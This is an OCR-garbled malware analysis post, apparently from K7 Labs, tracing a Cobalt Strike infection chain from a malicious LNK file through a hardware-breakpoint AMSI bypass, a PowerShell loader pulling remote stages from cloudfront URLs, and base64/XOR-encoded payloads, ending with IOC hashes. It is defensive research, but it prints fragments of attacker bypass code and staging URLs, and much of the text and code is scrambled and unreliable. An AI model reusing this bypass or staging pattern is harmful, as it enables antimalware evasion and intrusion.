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*Windows Defender

Recently came across a tweet regarding a LNK file creating a hardware breakpoint in the
Antimalware Scan Interface (AMSI).

W\ MalwareHunterTeam
‘x'!" @malwrhunterteam

"update.Ink™
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From: https://dk1i32ddgx01b.cloudfront[.Jnet/p/update.lnk Figure
Next stage: https://d35u6pvfsrsoqz.cloudfront[.]net/favico

Contains AMSI bypass using breakpoint.

Checks domain before continuing.
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1: Tweet
In this blog, we will get into the dig a little deeper into Cobalt Strike’s New TTP for
bypassing the AMSI using hardware breakpoint.
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https://labs.k7computing.com/index.php/cobalt-strikes-deployment-with-hardware-breakpoint-for-amsi-bypass/
https://twitter.com/malwrhunterteam/status/1666060293154250757?s=20

Initial access

LECmd tool was used to extract LNK file’s argument, which invokes a PowerShell to get
the code from the malicious site.

L) d35ubpvfsrSoqz.cloudfront.net/fav.ico

$HardwareBreakpoint = §"

sing System;
sing System.Collections.Generic;

Icon ex:
Show window:

EXTEe4 ctx = new Wir ONTEXTE4 ()
Flags = WinaPI.CONT FLAG HTEXT64_ALL;

f (Bx
WinAPT . Adc

EnableBreakpoint (ctx, Amsji Scan Buffer, 0):

t{{IntPtx) (-2), pCtx):

static vold EnableBreakpoint (WinAPTI.CONTEXT&4 ctx, IntPtr address, int index)

switch (index)

se 0
ctX.Dr0 = (ulong)address.ToInte4d ()
break;

Figure 3: Hardware breakpoint in AMSI

In order to bypass AMSI, an exception handler for the AMSI scan buffer’s breakpoint is
registered using AddVectoredExceptionHandler API. In the Handler Code it collects the
exception records and the Exception Address. Then proceeds further only if the exception
has occurred in the address of AMSI Scan Buffer. Then it stores the Stack pointer value in
the return address, it sets return address in the instruction pointer and return value as 0.

[1].
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https://github.com/EricZimmerman/LECmd
https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/

|_POINT 0
ptions, typecf (WinAPI.EXCEPTION POINTERS)) ;
rd, typeof (WinAPI.EXCEPTION_RE

# WinAPI.
JMarshal.Ptr

(Exceptionk: . 10 == WinaAPI. + N_SINGLE S > & ® tio rd. 3 nsi n_Buffer)

ng ReturnhAddress = (ulong)Marshal.ReadInt64 ((IntPtr)
IntPtr ScanResul = Marshal.ReadIntPtr (({IntPtr) (Cor

anResult, 0, WinAPI.AMS

Handler Code

WinAPI

Figure 4: Exception Handler code

This code contains a PowerShell script to create persistence using the startup folder and
download a GZIP compressed Base64 String . It targets only Domain logon users who
have connected in the mentioned domain list.

& dkl1i32ddgx01b.cloudfront.net/onedrive

nList)

item
cem) { fe=Mew-Object IO.MemoryStream(,

[Convert]::FromBasefdString( "Has TAAAAAMAA S +yDac/qSLIu+rn
XGHsanBurd+oV8wRudUSk5w/ztb3//G7 IURr11dn6P rMKvnNSDp,/ Dil/
3/8Dtd14vz8k+bblZzH5+K3nR91mdE2ZPQEGhbxEx/ 7 TLE3M3MSCefzx]
oc3BdL4b/Rtz/QL/ S 7403/ EgifnerhidfxeAH3fepXyf/ vbPamT

bh3/xensbBsfhsUasjAprapevbUr XU FoEnzUgAT/Q
sTut1CCH2ulgsGpSE Srt+pMhF+WCC X 30kmktOLDAGY ucFlIr LG

Figure 5: Targeted domain and next payload
By decompressing this Base64 String with GUnZip, there is another code as shown in
Figure 6.
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Recipe BmN Input

Hi 5 TAAAS +ySda s gyl TusrrHrSgP ShoqllbsGEI0e S Fuaxgh jnh? Bk s 1 ARG
SAnH -+ 3 TGl IVrasve hbs TpSEmesdaMpov TIPSy IPaHE s i B0 10 Fd4nl F & xla=Had G Z D
TpEEASNsdnBI JRFSIDdF T FFf zazM SuME TPy FSFXAE FyERBEHC v s e f
FLEZTBSAPukN 34 Lan I3FRABTH BpaFy oK,/ /8T sEMsLOULG  fyaac COMpressed
SR IPOFSIEA W f A IHT F F1135g 310 P2 FpFrxdaM+0 2L FEBran kB F / PeT s fvf Data
SznnS21dpa L 347 XES PrfvilHgzoS/ fyThjtinMf ndretHIWI 39 0 0AY IVE TH vz z o LA S FFE RS WL MY
T
SakfenlnlllaFHSS+kaF] IME IS pRY wnPEF Svaltf PG HNhP Dax L 5P /0wl eV I Fnl 5] gleq+ L LEad
SRON T+ i+ B9/ e01 F MWy chk S 3 /e s PPz ENW1 K I FFml 24 TERh B S hf vHE S 183G Mo E.
EI|-|r|=iP‘ £ FARgxSF1 SN FaFFED S+ W3 f 4y F 5 Tennd fMs 20 2y 3H32af FERYAEIENCI b cqbwd vz /WhITEFZH
Sl ¥ Bz Bnal + JyAHHES S bl fa ke e Blwz Fogd PST oK JKEPc f 1 gbxcdPajklhHdug 7 Tab
Soldrd] pfTaQevzlvM2CeP )/ FUHAGI g1l fikiC
SwPPBahXTyeHdHES06s cwl JApD 4 SovBBDKE ScEBkEhAT 9s BxbOxonE IR BunGte thk 7 FkdeFgh2nw,
Flma hnafic P rASd oul Gl v ISRIREOTTRTAT] val

S S I

Length: @

From BassEd

A-Ta-z@-9+f

Remaove non-alphabet chars |:| Strick mc

WaCnDu
A ARAAA T TYRAY el U F T o Frm R0 Ard 4 VX TAM %

ra
e

Output

Set-StrlctMods -Verslon ¥

Ffunction func_get_proc_address |

Paran (Svar_module, Swvar_proce
fvar_unsate_native_methods [ [Applemain]: :{urrentbomain. GetAssenblics() | Where
Object { $__GlobalfssemblyCache -And §__Location. Split{ 4% }[-1].Equals{ ‘System.dl1%)
1) -GetType] ‘Microsoft.Nind2 Unsafefativelathods ")
fvar_gpa = fwvar_unsafe_native_methods .GetMethed( 'GetPrachddress’, [Type[]]
Bl "system. Runtime . InteropServices . HandleRaf ', 'string’})
return fvar_goa.Invoke{Znull, @(|System.Runtine. InteropServices . HandleRef | {New-
_ _ Object Systen.Runtime. InteropServices.Handlefef({New-Object IntPer),
_ r i_}.- e . {Fwar_unsafe_native_methods.GetMethed( 'GetModuleHandle® ) ). Invoke($null, @($var_module)}}],
S | EP '._\ - I't{ﬂ ‘__-' Ao Bake fvar_procedure) )

Figure 6: XOR encoded Base64 string
This code contains Base64 String which when decoded and XORed int(35) gives out the
final Cobalt Strike Payload as shown in Figure 7 and 8.

Figure 7: XOR key

Recipe amB Input

57025702570zbnlicXZrqsZros8DIyMjabd+ydzc3Gug/GuidTdNTiPc8GKbASaBdUsnIyMjeug2tzz IyMiTyMiTyMi
IyIjIy@8mS837lyrudpsib+4Cd@tKUANTUUXEULI0ABBCTUIMVWNERENRVKBDSKEDZ 2xwABSMREYNL i4pByMiIyMIIyNn
TpvKTy/ImSMvIZk jL /WZK1dmmRUVIZnwXfaYIC/ImfBABZg2L /W Ty /@mYsvIZnwXFSYKL/ImFBABIgWL

i SWZBF3ImCIvIZnwXF2Y1C/ ImFBdCpkil /WZBF33mCIvaZIxSkBLIy

From Base64

XOR

35

IXQiM3uwE j TyMDI iM3By M3 I3MnIyM3 IyM3 T,
. MFTyNTyNhTyMjTyMjIyMjTyM3IyMj IyMiTyMG IyM3 [yMTyMj TyMjTyMj TyMj TyM§ IyM 15 IyMFIyMiTy
M§TyMJTyMj TyMj TyMj TyM3 TyMj TyM3 TyM3 TyMj TyMj TyMi TyMj TyMj TyM TyMj TyMj TyMj TyMj TyMj TyMj TyMiTyMi Ty

B TarMS T Tab Tub TuMS TubS Tubs TubsS TuMsS TuM= Tubs Tobs ToMs TS TubsS TobsS Tob TubS TubsS TubS TuMSTuMS Ty ¥

c ..,. Mull preserving -

......... MZARUH.3H.3 ...H..&5y5H.RH. Bon, 508 apgvh. .. ZH.0§D. . .............2. .7 T1 (LI0This °

j IyMI2ZMJI2MNUUZPTEAI5ss Iyl

program cannot be run in D05 mode.

Figure 8: Cobalt Strike
Here the Cobalt Strike C2 Config extracted using this tool is as shown below.
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https://github.com/Sentinel-One/CobaltStrikeParser

Figure 9: C2 Config
We at K7 Labs have detection against such threats. Users are requested to secure their
devices by installing a reputed security product like “K7 Total Security” and keep it
updated to stay protected from the latest threats.

I0Cs

Hash K7 Detection Name
eb08d873d27b94833e738f0df1d6ed26 Trojan ( 0001140e1 )
6302a90a342db9f2159d8f20f19ebb2e  Trojan ( 0001140e1 )

3c9c1bebbdd39820ae3ba34ca7a36f1f Trojan ( 0001140e1 )
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